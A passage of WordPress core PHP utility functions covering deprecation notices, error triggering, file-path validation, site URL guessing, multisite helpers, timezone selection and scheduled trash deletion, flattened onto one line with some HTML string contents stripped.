'__construct()' ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } /** * Marks a class as deprecated and informs when it has been used. * * There is a {@see 'deprecated_class_run'} hook that will be called that can be used * to get the backtrace up to what file and function called the deprecated class. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in the class constructor for every deprecated class. * See {@see _deprecated_constructor()} for deprecating PHP4-style constructors. * * @since 6.4.0 * * @param string $class_name The name of the class being instantiated. * @param string $version The version of WordPress that deprecated the class. * @param string $replacement Optional. The class or function that should have been called. * Default empty string. */ function _deprecated_class( $class_name, $version, $replacement = '' ) { /** * Fires when a deprecated class is called. * * @since 6.4.0 * * @param string $class_name The name of the class being instantiated. * @param string $replacement The class or function that should have been called. * @param string $version The version of WordPress that deprecated the class. */ do_action( 'deprecated_class_run', $class_name, $replacement, $version ); /** * Filters whether to trigger an error for a deprecated class. * * @since 6.4.0 * * @param bool $trigger Whether to trigger an error for a deprecated class. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_class_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { $message = sprintf( /* translators: 1: PHP class name, 2: Version number, 3: Alternative class or function name. */ __( 'Class %1$s is deprecated since version %2$s! Use %3$s instead.' ), $class_name, $version, $replacement ); } else { $message = sprintf( /* translators: 1: PHP class name, 2: Version number. */ __( 'Class %1$s is deprecated since version %2$s with no alternative available.' ), $class_name, $version ); } } else { if ( $replacement ) { $message = sprintf( 'Class %1$s is deprecated since version %2$s! Use %3$s instead.', $class_name, $version, $replacement ); } else { $message = sprintf( 'Class %1$s is deprecated since version %2$s with no alternative available.', $class_name, $version ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } /** * Marks a file as deprecated and inform when it has been used. * * There is a {@see 'deprecated_file_included'} hook that will be called that can be used * to get the backtrace up to what file and function included the deprecated file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default empty string. * @param string $message Optional. A message regarding the change. Default empty string. */ function _deprecated_file( $file, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. */ do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); /** * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( $replacement ) { $message = sprintf( /* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */ __( 'File %1$s is deprecated since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message; } else { $message = sprintf( /* translators: 1: PHP file name, 2: Version number. */ __( 'File %1$s is deprecated since version %2$s with no alternative available.' ), $file, $version ) . $message; } } else { if ( $replacement ) { $message = sprintf( 'File %1$s is deprecated since version %2$s! Use %3$s instead.', $file, $version, $replacement ); } else { $message = sprintf( 'File %1$s is deprecated since version %2$s with no alternative available.', $file, $version ) . $message; } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } /** * Marks a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a {@see 'deprecated_argument_run'} hook that will be called that can be used * to get the backtrace up to what file and function used the deprecated argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function_name The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default empty string. */ function _deprecated_argument( $function_name, $version, $message = '' ) { /** * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function_name The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. */ do_action( 'deprecated_argument_run', $function_name, $message, $version ); /** * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $message ) { $message = sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */ __( 'Function %1$s was called with an argument that is deprecated since version %2$s! %3$s' ), $function_name, $version, $message ); } else { $message = sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( 'Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available.' ), $function_name, $version ); } } else { if ( $message ) { $message = sprintf( 'Function %1$s was called with an argument that is deprecated since version %2$s! %3$s', $function_name, $version, $message ); } else { $message = sprintf( 'Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available.', $function_name, $version ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } /** * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty string. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. */ do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); /** * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. */ if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( $replacement ) { $message = sprintf( /* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */ __( 'Hook %1$s is deprecated since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message; } else { $message = sprintf( /* translators: 1: WordPress hook name, 2: Version number. */ __( 'Hook %1$s is deprecated since version %2$s with no alternative available.' ), $hook, $version ) . $message; } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } /** * Marks something as being incorrectly called. * * There is a {@see 'doing_it_wrong_run'} hook that will be called that can be used * to get the backtrace up to what file and function called the deprecated function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @since 5.4.0 This function is no longer marked as "private". * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ function _doing_it_wrong( $function_name, $message, $version ) { /** * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ do_action( 'doing_it_wrong_run', $function_name, $message, $version ); /** * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function_name, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function_name, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( $version ) { /* translators: %s: Version number. */ $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( /* translators: %s: Documentation URL. */ __( 'Please see
    Debugging in WordPress for more information.' ), __( 'https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/' ) ); $message = sprintf( /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */ __( 'Function %1$s was called incorrectly. %2$s %3$s' ), $function_name, $message, $version ); } else { if ( $version ) { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see Debugging in WordPress for more information.', 'https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/' ); $message = sprintf( 'Function %1$s was called incorrectly. %2$s %3$s', $function_name, $message, $version ); } wp_trigger_error( '', $message ); } } /** * Generates a user-level error/warning/notice/deprecation message. * * Generates the message when `WP_DEBUG` is true. * * @since 6.4.0 * * @param string $function_name The function that triggered the error. * @param string $message The message explaining the error. * The message can contain allowed HTML 'a' (with href), 'code', * 'br', 'em', and 'strong' tags and http or https protocols. * If it contains other HTML tags or protocols, the message should be escaped * before passing to this function to avoid being stripped {@see wp_kses()}. * @param int $error_level Optional. The designated error type for this error. * Only works with E_USER family of constants. Default E_USER_NOTICE. */ function wp_trigger_error( $function_name, $message, $error_level = E_USER_NOTICE ) { // Bail out if WP_DEBUG is not turned on. if ( ! WP_DEBUG ) { return; } /** * Fires when the given function triggers a user-level error/warning/notice/deprecation message. * * Can be used for debug backtracking. * * @since 6.4.0 * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param int $error_level The designated error type for this error. */ do_action( 'wp_trigger_error_run', $function_name, $message, $error_level ); if ( ! empty( $function_name ) ) { $message = sprintf( '%s(): %s', $function_name, $message ); } $message = wp_kses( $message, array( 'a' => array( 'href' => true ), 'br' => array(), 'code' => array(), 'em' => array(), 'strong' => array(), ), array( 'http', 'https' ) ); if ( E_USER_ERROR === $error_level ) { throw new WP_Exception( $message ); } trigger_error( $message, $error_level ); } /** * Determines whether the server is running an earlier than 1.5.0 version of lighttpd. * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. */ function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return ( 'lighttpd' === $server_parts[0] && -1 === version_compare( $server_parts[1], '1.5.0' ) ); } /** * Determines whether the specified module exist in the Apache config. * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default_value Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. */ function apache_mod_loaded( $mod, $default_value = false ) { global $is_apache; if ( ! $is_apache ) { return false; } $loaded_mods = array(); if ( function_exists( 'apache_get_modules' ) ) { $loaded_mods = apache_get_modules(); if ( in_array( $mod, $loaded_mods, true ) ) { return true; } } if ( empty( $loaded_mods ) && function_exists( 'phpinfo' ) && ! str_contains( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( INFO_MODULES ); $phpinfo = ob_get_clean(); if ( str_contains( $phpinfo, $mod ) ) { return true; } } return $default_value; } /** * Checks if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. */ function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { /* First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the website. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. */ $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI ); } /** * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. */ return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } /** * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param string[] $allowed_files Optional. Array of allowed files. Default empty array. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. */ function validate_file( $file, $allowed_files = array() ) { if ( ! is_scalar( $file ) || '' === $file ) { return 0; } // Normalize path for Windows servers. $file = wp_normalize_path( $file ); // Normalize path for $allowed_files as well so it's an apples to apples comparison. $allowed_files = array_map( 'wp_normalize_path', $allowed_files ); // `../` on its own is not allowed: if ( '../' === $file ) { return 1; } // More than one occurrence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } // `../` which does not occur at the end of the path is not allowed: if ( str_contains( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } // Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) { return 3; } // Absolute Windows drive paths are not allowed: if ( ':' === substr( $file, 1, 1 ) ) { return 2; } return 0; } /** * Determines whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @param string|bool|null $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = (bool) $force; return $old_forced; } return $forced; } /** * Guesses the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. */ function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); // The request is for the admin. if ( str_contains( $_SERVER['REQUEST_URI'], 'wp-admin' ) || str_contains( $_SERVER['REQUEST_URI'], 'wp-login.php' ) ) { $path = preg_replace( '#/(wp-admin/?.*|wp-login\.php.*)#i', '', $_SERVER['REQUEST_URI'] ); // The request is for a file in ABSPATH. } elseif ( $script_filename_dir . '/' === $abspath_fix ) { // Strip off any file/query params in the path. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( str_contains( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { // Request is hitting a file inside ABSPATH. $directory = str_replace( ABSPATH, '', $script_filename_dir ); // Strip off the subdirectory, and any file/query params. $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( str_contains( $abspath_fix, $script_filename_dir ) ) { // Request is hitting a file above ABSPATH. $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); // Strip off any file/query params from the path, appending the subdirectory to the installation. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet. $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } /** * Temporarily suspends cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * Defaults to not changing the current setting. * @return bool The current suspend setting. */ function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } /** * Suspends cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. */ function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } /** * Determines whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. */ function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return get_main_site_id( $network_id ) === $site_id; } /** * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to the current network. * @return int The ID of the main site. */ function get_main_site_id( $network_id = null ) { if ( ! is_multisite() ) { return get_current_blog_id(); } $network = get_network( $network_id ); if ( ! $network ) { return 0; } return $network->site_id; } /** * Determines whether a network is the main network of the Multisite installation. * * @since 3.7.0 * * @param int $network_id Optional. Network ID to test. Defaults to current network. * @return bool True if $network_id is the main network, or if not running Multisite. */ function is_main_network( $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( null === $network_id ) { $network_id = get_current_network_id(); } $network_id = (int) $network_id; return ( get_main_network_id() === $network_id ); } /** * Gets the main network ID. * * @since 4.3.0 * * @return int The ID of the main network. */ function get_main_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( defined( 'PRIMARY_NETWORK_ID' ) ) { $main_network_id = PRIMARY_NETWORK_ID; } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) { // If the current network has an ID of 1, assume it is the main network. $main_network_id = 1; } else { $_networks = get_networks( array( 'fields' => 'ids', 'number' => 1, ) ); $main_network_id = array_shift( $_networks ); } /** * Filters the main network ID. * * @since 4.3.0 * * @param int $main_network_id The ID of the main network. */ return (int) apply_filters( 'get_main_network_id', $main_network_id ); } /** * Determines whether site meta is enabled. * * This function checks whether the 'blogmeta' database table exists. The result is saved as * a setting for the main network, making it essentially a global setting. Subsequent requests * will refer to this setting instead of running the query. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool True if site meta is supported, false otherwise. */ function is_site_meta_supported() { global $wpdb; if ( ! is_multisite() ) { return false; } $network_id = get_main_network_id(); $supported = get_network_option( $network_id, 'site_meta_supported', false ); if ( false === $supported ) { $supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0; update_network_option( $network_id, 'site_meta_supported', $supported ); } return (bool) $supported; } /** * Modifies gmt_offset for smart timezone handling. * * Overrides the gmt_offset option if we have a timezone_string available. * * @since 2.8.0 * * @return float|false Timezone GMT offset, false otherwise. */ function wp_timezone_override_offset() { $timezone_string = get_option( 'timezone_string' ); if ( ! $timezone_string ) { return false; } $timezone_object = timezone_open( $timezone_string ); $datetime_object = date_create(); if ( false === $timezone_object || false === $datetime_object ) { return false; } return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 ); } /** * Sort-helper for timezones. * * @since 2.9.0 * @access private * * @param array $a * @param array $b * @return int */ function _wp_timezone_choice_usort_callback( $a, $b ) { // Don't use translated versions of Etc. if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) { // Make the order of these more like the old dropdown. if ( str_starts_with( $a['city'], 'GMT+' ) && str_starts_with( $b['city'], 'GMT+' ) ) { return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) ); } if ( 'UTC' === $a['city'] ) { if ( str_starts_with( $b['city'], 'GMT+' ) ) { return 1; } return -1; } if ( 'UTC' === $b['city'] ) { if ( str_starts_with( $a['city'], 'GMT+' ) ) { return -1; } return 1; } return strnatcasecmp( $a['city'], $b['city'] ); } if ( $a['t_continent'] === $b['t_continent'] ) { if ( $a['t_city'] === $b['t_city'] ) { return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] ); } return strnatcasecmp( $a['t_city'], $b['t_city'] ); } else { // Force Etc to the bottom of the list. if ( 'Etc' === $a['continent'] ) { return 1; } if ( 'Etc' === $b['continent'] ) { return -1; } return strnatcasecmp( $a['t_continent'], $b['t_continent'] ); } } /** * Gives a nicely-formatted list of timezone strings. * * @since 2.9.0 * @since 4.7.0 Added the `$locale` parameter. * * @param string $selected_zone Selected timezone. * @param string $locale Optional. Locale to load the timezones in. Default current site locale. * @return string */ function wp_timezone_choice( $selected_zone, $locale = null ) { static $mo_loaded = false, $locale_loaded = null; $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' ); // Load translations for continents and cities. if ( ! $mo_loaded || $locale !== $locale_loaded ) { $locale_loaded = $locale ? $locale : get_locale(); $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo'; unload_textdomain( 'continents-cities', true ); load_textdomain( 'continents-cities', $mofile, $locale_loaded ); $mo_loaded = true; } $tz_identifiers = timezone_identifiers_list(); $zonen = array(); foreach ( $tz_identifiers as $zone ) { $zone = explode( '/', $zone ); if ( ! in_array( $zone[0], $continents, true ) ) { continue; } // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later. $exists = array( 0 => ( isset( $zone[0] ) && $zone[0] ), 1 => ( isset( $zone[1] ) && $zone[1] ), 2 => ( isset( $zone[2] ) && $zone[2] ), ); $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ); $exists[4] = ( $exists[1] && $exists[3] ); $exists[5] = ( $exists[2] && $exists[3] ); // phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText $zonen[] = array( 'continent' => ( $exists[0] ? $zone[0] : '' ), 'city' => ( $exists[1] ? $zone[1] : '' ), 'subcity' => ( $exists[2] ? $zone[2] : '' ), 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ), 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ), 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ), ); // phpcs:enable } usort( $zonen, '_wp_timezone_choice_usort_callback' ); $structure = array(); if ( empty( $selected_zone ) ) { $structure[] = ''; } // If this is a deprecated, but valid, timezone string, display it at the top of the list as-is. if ( in_array( $selected_zone, $tz_identifiers, true ) === false && in_array( $selected_zone, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) { $structure[] = ''; } foreach ( $zonen as $key => $zone ) { // Build value in an array to join later. $value = array( $zone['continent'] ); if ( empty( $zone['city'] ) ) { // It's at the continent level (generally won't happen). $display = $zone['t_continent']; } else { // It's inside a continent group. // Continent optgroup. if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) { $label = $zone['t_continent']; $structure[] = ''; } // Add the city to the value. $value[] = $zone['city']; $display = $zone['t_city']; if ( ! empty( $zone['subcity'] ) ) { // Add the subcity to the value. $value[] = $zone['subcity']; $display .= ' - ' . $zone['t_subcity']; } } // Build the value. $value = implode( '/', $value ); $selected = ''; if ( $value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; // Close continent optgroup. if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) { $structure[] = ''; } } // Do UTC. $structure[] = ''; $selected = ''; if ( 'UTC' === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; $structure[] = ''; // Do manual UTC offsets. $structure[] = ''; $offset_range = array( -12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14, ); foreach ( $offset_range as $offset ) { if ( 0 <= $offset ) { $offset_name = '+' . $offset; } else { $offset_name = (string) $offset; } $offset_value = $offset_name; $offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name ); $offset_name = 'UTC' . $offset_name; $offset_value = 'UTC' . $offset_value; $selected = ''; if ( $offset_value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; } $structure[] = ''; return implode( "\n", $structure ); } /** * Strips close comment and close php tags from file headers used by WP. * * @since 2.8.0 * @access private * * @see https://core.trac.wordpress.org/ticket/8497 * * @param string $str Header comment to clean up. * @return string */ function _cleanup_header_comment( $str ) { return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) ); } /** * Permanently deletes comments or posts of any type that have held a status * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS. * * The default value of `EMPTY_TRASH_DAYS` is 30 (days). * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function wp_scheduled_delete() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); $posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $posts_to_delete as $post ) { $post_id = (int) $post['post_id']; if ( ! $post_id ) { continue; } $del_post = get_post( $post_id ); if ( ! $del_post || 'trash' !== $del_post->post_status ) { delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); } else { wp_delete_post( $post_id ); } } $comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $comments_to_delete as $comment ) { $comment_id = (int) $comment['comment_id']; if ( ! $comment_id ) { continue; } $del_comment = get_comment( $comment_id ); if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) { delete_comment_meta( $comment_id, '_wp_trash_meta_time' ); delete_comment_meta( $comment_id, '_wp_trash_meta_status' ); } else { wp_delete_comment( $del_comment ); } } } /** * Retrieves metadata from a file. * * Searches for metadata in the first 8 KB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8 KB, then the author should correct * their plugin file and move the data headers to the top. * * @link https://codex.wordpress.org/File_Header * * @since 2.9.0 * * @param string $file Absolute path to the file. * @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`. * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}. * Default empty string. * @return string[] Array of file header values keyed by header name. */ function get_file_data( $file, $default_headers, $context = '' ) { // Pull only the first 8 KB of the file in. $file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES ); if ( false === $file_data ) { $file_data = ''; } // Make sure we catch CR-only line endings. $file_data = str_replace( "\r", "\n", $file_data ); /** * Filters extra file headers by context. * * The dynamic portion of the hook name, `$context`, refers to * the context where extra headers might be loaded. * * @since 2.9.0 * * @param array $extra_context_headers Empty array by default. */ $extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array(); if ( $extra_headers ) { $extra_headers = array_combine( $extra_headers, $extra_headers ); // Keys equal values. $all_headers = array_merge( $extra_headers, (array) $default_headers ); } else { $all_headers = $default_headers; } foreach ( $all_headers as $field => $regex ) { if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) { $all_headers[ $field ] = _cleanup_header_comment( $match[1] ); } else { $all_headers[ $field ] = ''; } } return $all_headers; } /** * Returns true. * * Useful for returning true to filters easily. * * @since 3.0.0 * * @see __return_false() * * @return true True. */ function __return_true() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return true; } /** * Returns false. * * Useful for returning false to filters easily. * * @since 3.0.0 * * @see __return_true() * * @return false False. */ function __return_false() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return false; } /** * Returns 0. * * Useful for returning 0 to filters easily. * * @since 3.0.0 * * @return int 0. */ function __return_zero() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return 0; } /** * Returns an empty array. * * Useful for returning an empty array to filters easily. * * @since 3.0.0 * * @return array Empty array. */ function __return_empty_array() { // phpcs:ignore 